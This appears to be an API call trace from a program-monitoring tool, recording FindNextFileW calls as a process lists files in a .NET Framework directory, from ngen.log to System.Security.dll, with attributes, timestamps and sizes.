	[0087.950] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c51cd77, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x6c51cd77, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xcde33fe0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x39b46, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngen.log", cAlternateFileName="")) returned 1
	[0087.950] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25428ad8, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x25428ad8, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x70a403c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1768c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngen_service.log", cAlternateFileName="NGEN_S~1.LOG")) returned 1
	[0087.950] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba77e412, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xba77e412, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa06d7ab1, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="normalization.dll", cAlternateFileName="")) returned 1
	[0087.950] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba7a456f, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xba7a456f, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa0749ecb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xe7ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="normidna.nlp", cAlternateFileName="")) returned 1
	[0087.950] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba7ca6cc, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xba7ca6cc, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa0770029, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xb2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="normnfc.nlp", cAlternateFileName="")) returned 1
	[0087.950] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba7f0829, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xba7f0829, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa0796187, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x9974, dwReserved0=0x0, dwReserved1=0x0, cFileName="normnfd.nlp", cAlternateFileName="")) returned 1
	[0087.950] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba816986, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xba816986, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa07bc2e5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x10350, dwReserved0=0x0, dwReserved1=0x0, cFileName="normnfkc.nlp", cAlternateFileName="")) returned 1
	[0087.950] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba816986, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xba816986, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa07bc2e5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xeb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="normnfkd.nlp", cAlternateFileName="")) returned 1
	[0087.950] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba8d5057, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xba8d5057, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa07e2443, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x19b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfCounter.dll", cAlternateFileName="")) returned 1
	[0087.950] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba9df9e2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xba9df9e2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa085485d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x32740, dwReserved0=0x0, dwReserved1=0x0, cFileName="peverify.dll", cAlternateFileName="")) returned 1
	[0087.950] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbab36627, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbab36627, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa0b020f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x14724, dwReserved0=0x0, dwReserved1=0x0, cFileName="prc.nlp", cAlternateFileName="")) returned 1
	[0087.950] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbab828e1, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbab828e1, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa0b28257, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x14724, dwReserved0=0x0, dwReserved1=0x0, cFileName="prcp.nlp", cAlternateFileName="")) returned 1
	[0087.950] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea39158, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x94c169de, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x94c169de, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1
	[0087.950] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97baa43e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97baa43e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97baa43e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RegAsm.exe", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaff53b3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdaff53b3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa0c32be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="regasm.exe.config", cAlternateFileName="REGASM~1.CON")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8493118a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8493118a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849572ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RegSvcs.exe", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda8d1243, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xda8d1243, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa0d89837, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="regsvcs.exe.config", cAlternateFileName="REGSVC~1.CON")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbae562c8, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbae562c8, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa0eba327, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x18c7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shfusion.chm", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eea0bba, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8eea0bba, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8eea0bba, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1bb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="shfusion.dll", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb06b5de, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbb06b5de, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa0f5289f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x16950, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShFusRes.dll", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb0b7898, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbb0b7898, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa0f789fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x40004, dwReserved0=0x0, dwReserved1=0x0, cFileName="sortkey.nlp", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb0dd9f5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbb0dd9f5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa0f9eb5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x4f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="sorttbls.nlp", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9322bc77, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9322bc77, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93251dd7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76748, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOS.dll", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb2f2d0b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbb2f2d0b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa10370d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sysglobl.dll", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98f73b43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x98f73b43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x98fbfe03, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x68000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.configuration.dll", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d7e7968, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d7e7968, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d7e7968, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Configuration.Install.dll", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b748bd4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b748bd4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b794e95, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.dll", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f71ba2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f71ba2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f71ba2a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.OracleClient.dll", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8692d965, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8692d965, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86953ac5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.SqlXml.dll", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad04ce2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad04ce2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad2ae42, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xed000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Deployment.dll", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d0f551, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84d0f551, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84d81972, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4b3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Design.dll", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93147435, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93147435, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93147435, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.dll", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc3e8875, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbc3e8875, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa17f37eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.Protocols.dll", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d87fee9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d87fee9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8cc1aa, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x30b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.dll", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7c6be7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbc7c6be7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa18d801f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Drawing.Design.dll", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d24051e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d24051e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d26667e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x99000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Drawing.dll", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc98fc43, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbc98fc43, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa1ac71e5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Drawing.tlb", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ade9523, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ade9523, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ade9523, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.dll", cAlternateFileName="")) returned 1
	[0087.951] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb58c9f, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbcb58c9f, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa1b395ff, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xeb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.Thunk.dll", cAlternateFileName="")) returned 1
	[0087.952] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc17370, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbcc17370, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa238e28f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.tlb", cAlternateFileName="")) returned 1
	[0087.952] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ade9523, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ade9523, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ae0f683, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20800, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.Wrapper.dll", cAlternateFileName="")) returned 1
	[0087.952] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fbb84d2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8fbb84d2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8fc50a54, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.dll", cAlternateFileName="")) returned 1
	[0087.952] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b1d1922, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b1d1922, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b1d1922, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Messaging.dll", cAlternateFileName="")) returned 1
	[0087.953] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac6c760, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ac6c760, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ac6c760, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Remoting.dll", cAlternateFileName="")) returned 1
	[0087.953] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfcf585, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbcfcf585, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa358e7fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.Formatters.Soap.dll", cAlternateFileName="")) returned 1
	[0087.953] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e015ef, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e015ef, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92e2774f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Security.dll", cAlternateFileName="")) returned 1
